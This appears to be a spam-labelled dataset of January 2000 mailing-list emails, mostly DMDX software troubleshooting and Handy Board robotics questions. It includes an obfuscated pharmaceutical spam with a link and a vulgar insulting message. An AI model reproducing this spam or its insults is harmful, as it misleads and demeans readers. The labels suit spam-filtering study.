timedx) and on one I had the same problem and on another not. Boris ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 18 Jan 2000 11:44:18 -0700",[DMDX] Re: Browse Button,"At 12:20 PM 1/18/00 +0100, you wrote: >Hi, > >I did'nt find any key for dmdx but found the key for timedx. I deleted >timedx' key, and run again timedx and then dmdx but the problem is still there. >A new element is that I tried to install dmdx on two new win98 machines >yesterday (without running dmdx before timedx) and on one I had the same >problem and on another not. Ok, what version of DMDX are you using? Using 1.1.14 I am unable to replicate the error. In fact, it's not even possible for me to run DMDX before running TimeDX, it complains about missing registry keys and could I please run TimeDX. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800 ",0,0 Mark Palmerino ,handyboard@media.mit.edu,"Tue, 18 Jan 2000 20:51:23 +0000",Attaching a servo to a Rug Warrior Pro,"Ok - I'm a newbie! But I'm really hoping the collective wisdom of this newsgroup will be able to help me with extending the abilities of the Rug Warrior Pro I've been working with for the past 2 months. I've recently purchased and connected three sharp gp2d12 sensors to the robot using the three open analog ports and so far I'm quite happy with the results... However, I was hoping to put one of the sharp detectors onto a servo so that I could sweep it. To that end, I purchased a ""standard servo"" from acroname but I have no idea how to hook it up to the rug warrior pro. Would the good folks of this newsgroup lend me a little guidance? Is there a way to attach the servo to the rug warrior? Is it as easy as attaching the sharp detectors? If not, what would I need to build in order to incorporate the servo and be able to control it from software? I fear that the above questions reveal the lack of knowledge I have, but with some pointers, I'm hoping my knowledge will grow. Thanks in advance for all your help! ",0,0 Gary Livick ,mbp@csr-bos.com,"Tue, 18 Jan 2000 15:17:23 -0800",Re: Attaching a servo to a Rug Warrior Pro,"Mark, If you check out my contribution on this page, I have a servo driver that runs on the port your peizo buzzer is connected to. http://el.www.media.mit.edu/groups/el/projects/handy-board/software/contrib.html Even though the site is the Handy Board site, I have the software installed and running on a Super TCOMP, which is a Rug Warrior look-alike. Good Luck, Gary Livick http://www.teleport.com/~raybutts/ Mark Palmerino wrote: > Ok - I'm a newbie! But I'm really hoping the collective wisdom of this > newsgroup will be able to help me with extending the abilities of the > Rug > Warrior Pro I've been working with for the past 2 months. > > I've recently purchased and connected three sharp gp2d12 sensors to the > robot using the three open analog ports and so far I'm quite happy with > the > results... > > However, I was hoping to put one of the sharp detectors onto a servo so > that I could sweep it. To that end, I purchased a ""standard servo"" from > acroname but I have no idea how to hook it up to the rug warrior pro. > > Would the good folks of this newsgroup lend me a little guidance? > > Is there a way to attach the servo to the rug warrior? Is it as easy as > attaching the sharp detectors? If not, what would I need to build in > order > to incorporate the servo and be able to control it from software? > > I fear that the above questions reveal the lack of knowledge I have, but > > with some pointers, I'm hoping my knowledge will grow. > > Thanks in advance for all your help! ",0,1 Cort Carcamo ,handyboard@media.mit.edu,"Tue, 18 Jan 2000 13:28:26 -0700",Re: your AMBtoEN,"Hi C A V X V L P I m A a I e r A b L n A v o L i I a G i z I e U x R t a S n M A ra c http://www.temaferte.com So dwarves shall die, and light the night for our delight, Ya hey! Ya-harri-heyl Ya hoy! And with that Ya hoy! the flames were under Gandalfs tree. In a ",1,1 Boris New ,DMDX@psy1.psych.arizona.edu,"Wed, 19 Jan 2000 11:55:45 +0100",[DMDX] Re: Browse Button,"I use dmdx 1.1.13. I just tried to download the 1.1.14 but I only found the 1.1.13 on your site. Finally I imported the registry key I exported from a pc where dmdx was working and the problem disappeared The file that I imported in regedit was the following (if it can help someone): REGEDIT4 [HKEY_LOCAL_MACHINE\\Software\\DMDX] [HKEY_LOCAL_MACHINE\\Software\\DMDX\\LastUsedItemFile] @=""E:\\\\Norm2000\\\\DMDX\\\\Norm2-1.rtf"" ""01""=""E:\\\\Norm2000Mots\\\\NormMot1.rtf"" ""02""=""E:\\\\LettresIncrExperiences\\\\LettreIncr0.rtf"" ""03""=""E:\\\\Norm2000\\\\DMDX\\\\Norm1.rtf"" ""04""=""E:\\\\LettresIncr\\\\Experiences\\\\LettreIncr0.rtf"" ""05""=""C:\\\\Docs\\\\Dmdx\\\\Refresh.rtf"" ""06""=""C:\\\\Docs\\\\Refresh.rtf"" ""07""=""E:\\\\Dmdx\\\\ExemplesDivers\\\\ImagesMasquées\\\\Refresh.rtf"" ""08""=""E:\\\\Norm2000\\\\Norm2Marina\\\\DMDX\\\\Norm1.rtf"" ""09""=""E:\\\\Vigliocco\\\\Expe2\\\\DMDX\\\\ListB.rtf"" ""10""=""E:\\\\Vigliocco\\\\Expe2\\\\DMDX\\\\ListA.rtf"" ""11""=""E:\\\\Norm2000\\\\DMDX\\\\Norm1-1-new.rtf"" ""12""=""E:\\\\Dmdx\\\\demos\\\\TESTMODE.RTF"" ""13""=""E:\\\\Dmdx\\\\ExemplesDivers\\\\DENOM.RTF"" ""14""=""C:\\\\Dmdx\\\\ExemplesDivers\\\\LISTA2.RTF"" ""15""=""C:\\\\Dmdx\\\\demos\\\\TACHTEST.RTF"" ",0,0 peschansc ,handyboard@media.mit.edu,,"You have a big heart but a small penis,",Your dick looks like from a doll world? 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Here is a part of the entire script: < AzkiiResponses>< ContinuousRun>< MapRequest +Espace>< MapPositiveResponse +DigitalVox>< MapNegativeResponse +Espace>< DefaultBackgroundColor 255255255> < DefaultWritingColor 0> $ 0 ""Presser la barre d'espace"", ""pour commencer"";$ $ +500 /""+""/*< Timeout 2000>""ARC.BMP"";$ $ 600 ""arc"",""ARC.BMP""/;$ $ +500 /""+""/*< Timeout 2000>""CAFETIER.BMP"";$ $ 600 ""cafetière""/""CAFETIER.BMP""/;$ +1337 /""+""/*< Timeout 2000>""STRAWBER.BMP""; 600 ""fraise""/""STRAWBER.BMP""/; +1356 /""+""/*< Timeout 2000>""TIE.BMP""; 600 ""cravate""/""TIE.BMP""/;",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 19 Jan 2000 09:40:27 -0700",[DMDX] Re: Display and RecordVocal,"At 03:33 PM 1/19/00 +0100, you wrote: You can't do that: It's got to be: -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Computers can figure out all kinds of problems, except the things in the world that just don't add up.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 19 Jan 2000 09:41:49 -0700",[DMDX] Re: Browse Button,"At 11:55 AM 1/19/00 +0100, you wrote: >The file that I imported in regedit was the following (if it can help someone): > >REGEDIT4 > >[HKEY_LOCAL_MACHINE\\Software\\DMDX] > >[HKEY_LOCAL_MACHINE\\Software\\DMDX\\LastUsedItemFile] >@=""E:\\\\Norm2000\\\\DMDX\\\\Norm2-1.rtf"" >""01""=""E:\\\\Norm2000Mots\\\\NormMot1.rtf"" >""02""=""E:\\\\LettresIncrExperiences\\\\LettreIncr0.rtf"" >""03""=""E:\\\\Norm2000\\\\DMDX\\\\Norm1.rtf"" >""04""=""E:\\\\LettresIncr\\\\Experiences\\\\LettreIncr0.rtf"" >""05""=""C:\\\\Docs\\\\Dmdx\\\\Refresh.rtf"" >""06""=""C:\\\\Docs\\\\Refresh.rtf"" >""07""=""E:\\\\Dmdx\\\\ExemplesDivers\\\\ImagesMasquées\\\\Refresh.rtf"" >""08""=""E:\\\\Norm2000\\\\Norm2Marina\\\\DMDX\\\\Norm1.rtf"" >""09""=""E:\\\\Vigliocco\\\\Expe2\\\\DMDX\\\\ListB.rtf"" >""10""=""E:\\\\Vigliocco\\\\Expe2\\\\DMDX\\\\ListA.rtf"" >""11""=""E:\\\\Norm2000\\\\DMDX\\\\Norm1-1-new.rtf"" >""12""=""E:\\\\Dmdx\\\\demos\\\\TESTMODE.RTF"" >""13""=""E:\\\\Dmdx\\\\ExemplesDivers\\\\DENOM.RTF"" >""14""=""C:\\\\Dmdx\\\\ExemplesDivers\\\\LISTA2.RTF"" >""15""=""C:\\\\Dmdx\\\\demos\\\\TACHTEST.RTF"" That is what it's supposed to look like. I take it HKEY_LOCAL_MACHINE \\ Software \\ DMDX just plain didn't exist before hand? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Computers can figure out all kinds of problems, except the things in the world that just don't add up. ",0,0 stock@cse.buffalo.edu,handyboard@media.mit.edu,"Wed, 19 Jan 2000 18:17:31 +0000",Handyboard C library for m6811 gcc port,"I'm in the process of putting together a little C library that can be used to build handyboard applications with Stephane Carrez's GCC port (http://home.worldnet.fr/stcarrez/m68hc11_port.html). If anyone has any suggestions or code contributions they would like to make, I'd be happy to hear about it. At this point I'm building in low-level access to the various board features (LCD, sensor inputs, etc), but I hope to tackle more complex things like a software PWM system for the motors as well. I don't plan to rewrite IC. :-) Thanks, -Matt -- Matthew D. Stock Unix Systems Administrator, University at Buffalo",0,1 """Curt Mills, WE7U"" ","""Matthew D. Stock"" ","Wed, 19 Jan 2000 12:38:14 -0800",Re: Handyboard C library for m6811 gcc port,"On Wed, 19 Jan 2000, Matthew D. Stock wrote: > I'm in the process of putting together a little C library that can be used > to build handyboard applications with Stephane Carrez's GCC port > (http://home.worldnet.fr/stcarrez/m68hc11_port.html). > > If anyone has any suggestions or code contributions they would like to > make, I'd be happy to hear about it. At this point I'm building in > low-level access to the various board features (LCD, sensor inputs, etc), > but I hope to tackle more complex things like a software PWM system for the > motors as well. I don't plan to rewrite IC. :-) > Thanks, > -Matt You'll find that a lot of the work has already been done for you. http://www.eskimo.com/~archer I integrated what a lot of other people had done into a Handyboard library for gcc-2.8.1 I was going to get to modifying it for Stephane's port, but haven't gotten around to it. Have fun with it! Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 See3peoh@aol.com,handyboard@media.mit.edu,"Wed, 19 Jan 2000 18:42:27 -0500",AOL Instant Messenger," ********************** About AOL Instant Messenger ********************** AOL Instant Messenger is a free software program that lets you see when your friends are online and exchange instant messages with them. It's a whole new way of communicating that's fast, simple and totally addictive. It's easy to use and takes just minutes to sign up. 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",DMDX@psy1.psych.arizona.edu,"Thu, 20 Jan 2000 09:28:27 -0700",[DMDX] Re: Browse Button and RecordVocal & Display Problem,"At 12:47 AM 1/20/00 +0100, you wrote: >No this registry key didn't exist before hand. > >For the RecordVocal problem I tried with > > but then I have a lot of display problem > (video flips and moved into video xx ticks later) only if the subject is >responding fast (or if I'm in diagnostic mode). I thought that the >requestscheduled instruction should prevent this. And I don't have this >problem anymore if I suppress the RecordVocal answer. It is presicely your usage of RequestScheduled that is causing the errors. This keyword is desigined to make the ISI constant and is needed for such things as ERP recordings and so forth with continuous running. If you do infact need a constant ISI you will have to make the Delay keyword parameter a bit bigger than the largest xx in the error messages you see, RequestScheduled is in fact nearly obsolete as use of the Delay keyword sets it anyway. It only happens when you include RecordVocal because during the ISI DMDX must write out the recorded vocalization and this takes extra time. By default (no RequestScheduled) DMDX will take as long as it needs and then add 48 ticks to that for an ISI, if you set RequestScheduled then everything DMDX does in between items must occur in under 48 ticks, if 48 ticks is not enough time you are responsible for determining the correct amount of time that DMDX will need to complete it's houskeeping and using that in a Delay parameter (thus making RequestScheduled redundant). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Computers can figure out all kinds of problems, except the things in the world that just don't add up.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Jan 2000 14:27:16 -0700",[DMDX] DMDX 1.1.14,"I have released DMDX 1.1.14 which includes: A new synonim for , <%ms> (which now also checks for zero frame duration). A new keyword for auditory confirmation of of the Digital VOX trigger. Clearing subject id edit box after run. Browse button has been tweaked, a possible hole closed but I can't replicate problems with it so it's difficult to fix. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800",0,0 Kah Mun ,handyboard@media.mit.edu,"Thu, 20 Jan 2000 19:28:19 +0000",multitasking support.,"i'm running IC version 2.82. i'm not too sure how do i get the handyboard to do multi tasking on three routines: 1. control the velocity of the robot (i called the function 'dc') 2. steer (i'm steering with a front wheel) 3.identify strips on the floor to pop balloons. routine is called 'servo' i wrote my main program as below. the funny thing is, it wants me to press the start button to move from one routine to another. this is not right. what is the correct way of using 'start_process( )'? void main() { int pid1, pid2, pid3; start_press(); while(stop_button()==0) {pid1=start_process( steering(), 10, 100 ); pid2=start_process( dc(), 10, 100 ); pid3=start_process( servo(),5, 50 ); */ } all_off(); } ",0,0 Rick Dodd ,handyboard@media.mit.edu,"Fri, 21 Jan 2000 03:58:50 +0000",Modifying a servo for use with HB,"When connecting my servos (now gear head motors) to the HandyBoard - do I need to a) replace the pot with the resistor network or b) remove the electronics all together? I'm unclear if the PWM routines on the HB (fd, bk, and motor) are the kind of PWM that control a servo or the kind that control a DC motor. My gut feeling is DC motor because of the other servo routines (servo_on, servo_off, etc.). ",0,0 Christopher Prosser ,handyboard@media.mit.edu,"Fri, 21 Jan 2000 07:29:51 +0000",Re: Modifying a servo for use with HB,"If you just want to use them as motors, then B is the appropriate solution. You are correct in the motor PWM routines are just used to control the amount of energy going to the motors. The servo routines (using the expansion board) are the kind for positioning servos. --chris prosser ----- Original Message ----- From: ""Rick Dodd"" To: Sent: Thursday, January 20, 2000 7:58 PM Subject: Modifying a servo for use with HB > When connecting my servos (now gear head motors) to > the HandyBoard - do I need to a) replace the pot with the resistor > network or b) remove the electronics all together? I'm unclear if the > PWM routines on the HB (fd, bk, and motor) are the kind of PWM that > control a servo or the kind that control a DC motor. My gut feeling is > DC motor because of the other servo routines (servo_on, servo_off, > etc.). >",0,0 William Ho ,HANDYBOARD ,"Fri, 21 Jan 2000 21:09:55 +0800",Hewlett Packard optical encoder,"Hi, Since photo reflector with segmented wheel pattern doesn't help in precise mobile robot navigation, I intend to use Hewlett Packard optical encoder and I have selected HEDS-9140 series.I know someone has tried this item long time ago and I hope I can get help from those has successfully connected to Handyboard. I am not so sure if I need the HP HCTL-20XX quadrature decoder/counter interface for this purpose? Can I use the same encoder icb files that provided in IC ? How about the circuit diagram (if required) for the IC and encoder ? Answers to all these questions will help me a lot! Please help. Thanks, William ",0,0 Boris New ,DMDX@psy1.psych.arizona.edu,"Fri, 21 Jan 2000 16:55:46 +0100","[DMDX] RecordVocal, Display Problem, and Delay","For the browse problem I installed the new version on the computer where there was the problem and it worked. Thanks! For the display problem I changed the requestscheduled into delay: For one of three of my experiments it worked when I found the good delay. For the two others the first hundred trials are good and then I have strange behaviors: -either the order problem -either systematically a display problem I tried to give a longer delay: same result. I tried on two different computers with two different graphic cards: same problems. I tried also with the 1.1.14. Here is one of the experiment that fail (order problem: + ""kangourou"" + ""jambe"" ""?"" ""?"" instead of + ""kangourou"" ""?"" + ""jambe"" ""?"": the order in the script) after one or two hundreds of trials. < AzkiiResponses>< ContinuousRun>< MapRequest +Espace>< MapPositiveResponse +DigitalVox>< MapNegativeResponse +Espace>< DefaultBackgroundColor 255255255> < DefaultWritingColor 0> $0 ""Presser la barre d'espace"", ""pour commencer"";$ $+500 /""+""/*< Timeout 2000>""arc"" ;$ $+500 /*""interrog"";$ $+500 /""+""/*< Timeout 2000>""cafetière"" ;$ $+500 /*""interrog"";$ +1001 /""+""/*< Timeout 2000>""accordéon"" ; +1001 /*""interrog""; +1002 /""+""/*< Timeout 2000>""gland"" ; +1002 /*""interrog""; +1003 /""+""/*< Timeout 2000>""avion"" ; +1003 /*""interrog""; +1004 /""+""/*< Timeout 2000>""crocodile"" ; +1004 /*""interrog""; +1005 /""+""/*< Timeout 2000>""ancre"" ; +1005 /*""interrog""; +1006 /""+""/*< Timeout 2000>""fourmi"" ; +1006 /*""interrog""; +1007 /""+""/*< Timeout 2000>""fourmilier"" ; +1007 /*""interrog""; +1008 /""+""/*< Timeout 2000>""enclume"" ; +1008 /*""interrog""; +1010 /""+""/*< Timeout 2000>""arche"" ; +1010 /*""interrog""; +1011 /""+""/*< Timeout 2000>""bras"" ; +1011 /*""interrog""; +1012 /""+""/*< Timeout 2000>""tatou"" ; +1012 /*""interrog""; +1013 /""+""/*< Timeout 2000>""flèche"" ; +1013 /*""interrog""; +1014 /""+""/*< Timeout 2000>""artichaut"" ; +1014 /*""interrog""; +1015 /""+""/*< Timeout 2000>""cendrier"" ; +1015 /*""interrog""; +1016 /""+""/*< Timeout 2000>""asperge"" ; +1016 /*""interrog""; +1017 /""+""/*< Timeout 2000>""avocat"" ; +1017 /*""interrog""; +1018 /""+""/*< Timeout 2000>""hache"" ; +1018 /*""interrog""; +1019 /""+""/*< Timeout 2000>""landau"" ; +1019 /*""interrog""; +1020 /""+""/*< Timeout 2000>""ballon"" ; +1020 /*""interrog""; +1022 /""+""/*< Timeout 2000>""banane"" ; +1022 /*""interrog""; +1023 /""+""/*< Timeout 2000>""grange"" ; +1023 /*""interrog""; +1024 /""+""/*< Timeout 2000>""tonneau"" ; +1024 /*""interrog""; +1025 /""+""/*< Timeout 2000>""bassine"" ; +1025 /*""interrog""; +1026 /""+""/*< Timeout 2000>""panier"" ; +1026 /*""interrog""; +1028 /""+""/*< Timeout 2000>""ours"" ; +1028 /*""interrog""; +1029 /""+""/*< Timeout 2000>""lit"" ; +1029 /*""interrog""; +1030 /""+""/*< Timeout 2000>""abeille"" ; +1030 /*""interrog""; +1031 /""+""/*< Timeout 2000>""scarabée"" ; +1031 /*""interrog""; +1032 /""+""/*< Timeout 2000>""cloche"" ; +1032 /*""interrog""; +1033 /""+""/*< Timeout 2000>""ceinture"" ; +1033 /*""interrog""; +1034 /""+""/*< Timeout 2000>""banc"" ; +1034 /*""interrog""; +1035 /""+""/*< Timeout 2000>""vélo"" ; +1035 /*""interrog""; +1036 /""+""/*< Timeout 2000>""jumelles"" ; +1036 /*""interrog""; +1037 /""+""/*< Timeout 2000>""oiseau"" ; +1037 /*""interrog""; +1038 /""+""/*< Timeout 2000>""cage"" ; +1038 /*""interrog""; +1040 /""+""/*< Timeout 2000>""nid"" ; +1040 /*""interrog""; +1041 /""+""/*< Timeout 2000>""dirigeable"" ; +1041 /*""interrog""; +1042 /""+""/*< Timeout 2000>""chemisier"" ; +1042 /*""interrog""; +1043 /""+""/*< Timeout 2000>""chaîne"" ; +1043 /*""interrog""; +1044 /""+""/*< Timeout 2000>""livre"" ; +1044 /*""interrog""; +1045 /""+""/*< Timeout 2000>""botte"" ; +1045 /*""interrog""; +1046 /""+""/*< Timeout 2000>""bouteille"" ; +1046 /*""interrog""; +1047 /""+""/*< Timeout 2000>""noeud"" ; +1047 /*""interrog""; +1048 /""+""/*< Timeout 2000>""bol"" ; +1048 /*""interrog""; +1050 /""+""/*< Timeout 2000>""cerveau"" ; +1050 /*""interrog""; +1052 /""+""/*< Timeout 2000>""balai"" ; +1052 /*""interrog""; +1054 /""+""/*< Timeout 2000>""bison"" ; +1054 /*""interrog""; +1055 /""+""/*< Timeout 2000>""bus"" ; +1055 /*""interrog""; +1056 /""+""/*< Timeout 2000>""papillon"" ; +1056 /*""interrog""; +1057 /""+""/*< Timeout 2000>""bouton"" ; +1057 /*""interrog""; +1058 /""+""/*< Timeout 2000>""cactus"" ; +1058 /*""interrog""; +1059 /""+""/*< Timeout 2000>""caddie"" ; +1059 /*""interrog""; +1060 /""+""/*< Timeout 2000>""gâteau"" ; +1060 /*""interrog""; +1062 /""+""/*< Timeout 2000>""chameau"" ; +1062 /*""interrog""; +1063 /""+""/*< Timeout 2000>""appareil photo"" ; +1063 /*""interrog""; +1064 /""+""/*< Timeout 2000>""boîte"" ; +1064 /*""interrog""; +1065 /""+""/*< Timeout 2000>""bougie"" ; +1065 /*""interrog""; +1066 /""+""/*< Timeout 2000>""canon"" ; +1066 /*""interrog""; +1067 /""+""/*< Timeout 2000>""casquette"" ; +1067 /*""interrog""; +1068 /""+""/*< Timeout 2000>""voiture"" ; +1068 /*""interrog""; +1069 /""+""/*< Timeout 2000>""carotte"" ; +1069 /*""interrog""; +1070 /""+""/*< Timeout 2000>""chat"" ; +1070 /*""interrog""; +1071 /""+""/*< Timeout 2000>""chenille"" ; +1071 /*""interrog""; +1072 /""+""/*< Timeout 2000>""céleri"" ; +1072 /*""interrog""; +1074 /""+""/*< Timeout 2000>""chaise"" ; +1074 /*""interrog""; +1075 /""+""/*< Timeout 2000>""gruyère"" ; +1075 /*""interrog""; +1076 /""+""/*< Timeout 2000>""cerise"" ; +1076 /*""interrog""; +1077 /""+""/*< Timeout 2000>""malle"" ; +1077 /*""interrog""; +1078 /""+""/*< Timeout 2000>""poule"" ; +1078 /*""interrog""; +1079 /""+""/*< Timeout 2000>""cheminée"" ; +1079 /*""interrog""; +1080 /""+""/*< Timeout 2000>""burin"" ; +1080 /*""interrog""; +1081 /""+""/*< Timeout 2000>""église"" ; +1081 /*""interrog""; +1082 /""+""/*< Timeout 2000>""cigare"" ; +1082 /*""interrog""; +1083 /""+""/*< Timeout 2000>""cigarette"" ; +1083 /*""interrog""; +1084 /""+""/*< Timeout 2000>""horloge"" ; +1084 /*""interrog""; +1085 /""+""/*< Timeout 2000>""penderie"" ; +1085 /*""interrog""; +1087 /""+""/*< Timeout 2000>""nuage"" ; +1087 /*""interrog""; +1088 /""+""/*< Timeout 2000>""clown"" ; +1088 /*""interrog""; +1089 /""+""/*< Timeout 2000>""manteau"" ; +1089 /*""interrog""; +1090 /""+""/*< Timeout 2000>""blatte"" ; +1090 /*""interrog""; +1091 /""+""/*< Timeout 2000>""passoire"" ; +1091 /*""interrog""; +1092 /""+""/*< Timeout 2000>""peigne"" ; +1092 /*""interrog""; +1093 /""+""/*< Timeout 2000>""boussole"" ; +1093 /*""interrog""; +1094 /""+""/*< Timeout 2000>""maïs"" ; +1094 /*""interrog""; +1095 /""+""/*< Timeout 2000>""canapé"" ; +1095 /*""interrog""; +1096 /""+""/*< Timeout 2000>""vache"" ; +1096 /*""interrog""; +1097 /""+""/*< Timeout 2000>""crabe"" ; +1097 /*""interrog""; +1098 /""+""/*< Timeout 2000>""couronne"" ; +1098 /*""interrog""; +1099 /""+""/*< Timeout 2000>""tasse"" ; +1099 /*""interrog""; +1101 /""+""/*< Timeout 2000>""cymbales"" ; +1101 /*""interrog""; +1102 /""+""/*< Timeout 2000>""fléchette"" ; +1102 /*""interrog""; +1103 /""+""/*< Timeout 2000>""cerf"" ; +1103 /*""interrog""; +1104 /""+""/*< Timeout 2000>""bureau"" ; +1104 /*""interrog""; $+500 /""+""/*< Timeout 2000>""balcon"" ;$ $+500 /*""interrog"";$ $+500 /""+""/*< Timeout 2000>""radiateur"" ;$ $+500 /*""interrog"";$ +1105 /""+""/*< Timeout 2000>""dinosaure"" ; +1105 /*""interrog""; +1106 /""+""/*< Timeout 2000>""chien"" ; +1106 /*""interrog""; +1107 /""+""/*< Timeout 2000>""niche"" ; +1107 /*""interrog""; +1108 /""+""/*< Timeout 2000>""poupée"" ; +1108 /*""interrog""; +1109 /""+""/*< Timeout 2000>""dauphin"" ; +1109 /*""interrog""; +1110 /""+""/*< Timeout 2000>""âne"" ; +1110 /*""interrog""; +1111 /""+""/*< Timeout 2000>""porte"" ; +1111 /*""interrog""; +1112 /""+""/*< Timeout 2000>""poignée"" ; +1112 /*""interrog""; +1113 /""+""/*< Timeout 2000>""libellule"" ; +1113 /*""interrog""; +1114 /""+""/*< Timeout 2000>""robe"" ; +1114 /*""interrog""; +1115 /""+""/*< Timeout 2000>""commode"" ; +1115 /*""interrog""; +1116 /""+""/*< Timeout 2000>""tambour"" ; +1116 /*""interrog""; +1117 /""+""/*< Timeout 2000>""canard"" ; +1117 /*""interrog""; +1119 /""+""/*< Timeout 2000>""aigle"" ; +1119 /*""interrog""; +1120 /""+""/*< Timeout 2000>""oreille"" ; +1120 /*""interrog""; +1121 /""+""/*< Timeout 2000>""chevalet"" ; +1121 /*""interrog""; +1122 /""+""/*< Timeout 2000>""anguille"" ; +1122 /*""interrog""; +1123 /""+""/*< Timeout 2000>""éléphant"" ; +1123 /*""interrog""; +1124 /""+""/*< Timeout 2000>""enveloppe"" ; +1124 /*""interrog""; +1125 /""+""/*< Timeout 2000>""oeil"" ; +1125 /*""interrog""; +1126 /""+""/*< Timeout 2000>""éventail"" ; +1126 /*""interrog""; +1127 /""+""/*< Timeout 2000>""robinet"" ; +1127 /*""interrog""; +1128 /""+""/*< Timeout 2000>""plume"" ; +1128 /*""interrog""; +1129 /""+""/*< Timeout 2000>""barrière"" ; +1129 /*""interrog""; +1130 /""+""/*< Timeout 2000>""fougère"" ; +1130 /*""interrog""; +1132 /""+""/*< Timeout 2000>""doigt"" ; +1132 /*""interrog""; +1134 /""+""/*< Timeout 2000>""poisson"" ; +1134 /*""interrog""; +1135 /""+""/*< Timeout 2000>""aquarium"" ; +1135 /*""interrog""; +1136 /""+""/*< Timeout 2000>""hameçon"" ; +1136 /*""interrog""; +1139 /""+""/*< Timeout 2000>""drapeau"" ; +1139 /*""interrog""; +1140 /""+""/*< Timeout 2000>""flamand rose"" ; +1140 /*""interrog""; +1141 /""+""/*< Timeout 2000>""torche"" ; +1141 /*""interrog""; +1142 /""+""/*< Timeout 2000>""fleur"" ; +1142 /*""interrog""; +1143 /""+""/*< Timeout 2000>""flûte traversière"" ; +1143 /*""interrog""; +1144 /""+""/*< Timeout 2000>""mouche"" ; +1144 /*""interrog""; +1145 /""+""/*< Timeout 2000>""pied"" ; +1145 /*""interrog""; +1146 /""+""/*< Timeout 2000>""fourchette"" ; +1146 /*""interrog""; +1147 /""+""/*< Timeout 2000>""renard"" ; +1147 /*""interrog""; +1148 /""+""/*< Timeout 2000>""croissant"" ; +1148 /*""interrog""; +1149 /""+""/*< Timeout 2000>""cor"" ; +1149 /*""interrog""; +1150 /""+""/*< Timeout 2000>""grenouille"" ; +1150 /*""interrog""; +1151 /""+""/*< Timeout 2000>""poêle"" ; +1151 /*""interrog""; +1152 /""+""/*< Timeout 2000>""entonnoir"" ; +1152 /*""interrog""; +1153 /""+""/*< Timeout 2000>""poubelle"" ; +1153 /*""interrog""; +1154 /""+""/*< Timeout 2000>""girafe"" ; +1154 /*""interrog""; +1155 /""+""/*< Timeout 2000>""verre"" ; +1155 /*""interrog""; +1156 /""+""/*< Timeout 2000>""lunettes"" ; +1156 /*""interrog""; +1157 /""+""/*< Timeout 2000>""mappemonde"" ; +1157 /*""interrog""; +1158 /""+""/*< Timeout 2000>""gant"" ; +1158 /*""interrog""; +1159 /""+""/*< Timeout 2000>""chèvre"" ; +1159 /*""interrog""; +1160 /""+""/*< Timeout 2000>""masque de plongée"" ; +1160 /*""interrog""; +1161 /""+""/*< Timeout 2000>""gorille"" ; +1161 /*""interrog""; +1162 /""+""/*< Timeout 2000>""raisin"" ; +1162 /*""interrog""; +1163 /""+""/*< Timeout 2000>""sauterelle"" ; +1163 /*""interrog""; +1164 /""+""/*< Timeout 2000>""barbecue"" ; +1164 /*""interrog""; +1165 /""+""/*< Timeout 2000>""guitare"" ; +1165 /*""interrog""; +1166 /""+""/*< Timeout 2000>""pistolet"" ; +1166 /*""interrog""; +1167 /""+""/*< Timeout 2000>""cheveux"" ; +1167 /*""interrog""; +1168 /""+""/*< Timeout 2000>""hamburger"" ; +1168 /*""interrog""; +1169 /""+""/*< Timeout 2000>""marteau"" ; +1169 /*""interrog""; +1170 /""+""/*< Timeout 2000>""hamac"" ; +1170 /*""interrog""; +1171 /""+""/*< Timeout 2000>""main"" ; +1171 /*""interrog""; +1172 /""+""/*< Timeout 2000>""cintre"" ; +1172 /*""interrog""; +1173 /""+""/*< Timeout 2000>""harmonica"" ; +1173 /*""interrog""; +1174 /""+""/*< Timeout 2000>""harpe"" ; +1174 /*""interrog""; +1175 /""+""/*< Timeout 2000>""chapeau"" ; +1175 /*""interrog""; +1176 /""+""/*< Timeout 2000>""écouteurs"" ; +1176 /*""interrog""; +1177 /""+""/*< Timeout 2000>""coeur"" ; +1177 /*""interrog""; +1178 /""+""/*< Timeout 2000>""hélicoptère"" ; +1178 /*""interrog""; +1179 /""+""/*< Timeout 2000>""casque"" ; +1179 /*""interrog""; +1180 /""+""/*< Timeout 2000>""hippopotame"" ; +1180 /*""interrog""; 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+1392 /*""interrog""; +1393 /""+""/*< Timeout 2000>""fenêtre"" ; +1393 /*""interrog""; +1395 /""+""/*< Timeout 2000>""loup"" ; +1395 /*""interrog""; +1396 /""+""/*< Timeout 2000>""ver de terre"" ; +1396 /*""interrog""; +1397 /""+""/*< Timeout 2000>""clé"" ; +1397 /*""interrog""; +1398 /""+""/*< Timeout 2000>""yo-yo"" ; +1398 /*""interrog""; +1399 /""+""/*< Timeout 2000>""zèbre"" ; +1399 /*""interrog""; +1400 /""+""/*< Timeout 2000>""fermeture éclair"" ; +1400 /*""interrog""; $0 L ""C'est fini, Merci"";$",0,0 Martin Dupras ,"""handyboard@media.mit.edu"" ","Fri, 21 Jan 2000 14:30:08 +0000",Handyboard and MIDI,"I'm trying to use my handyboard to send MIDI messages to a host. I downloaded and tried the MIDI libraries from Colby Leider, and it looks like it's just what I need, but I can't get them to work with IC 2.8. Is anyone using the Handyboard with MIDI, with the MIDI libraries or otherwise? Thanks a lot! - martin ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Jan 2000 09:56:23 -0700","[DMDX] Re: RecordVocal, Display Problem, and Delay","At 04:55 PM 1/21/00 +0100, you wrote: > >For the browse problem I installed the new version on the computer where >there was the problem and it worked. Thanks! > >For the display problem I changed the 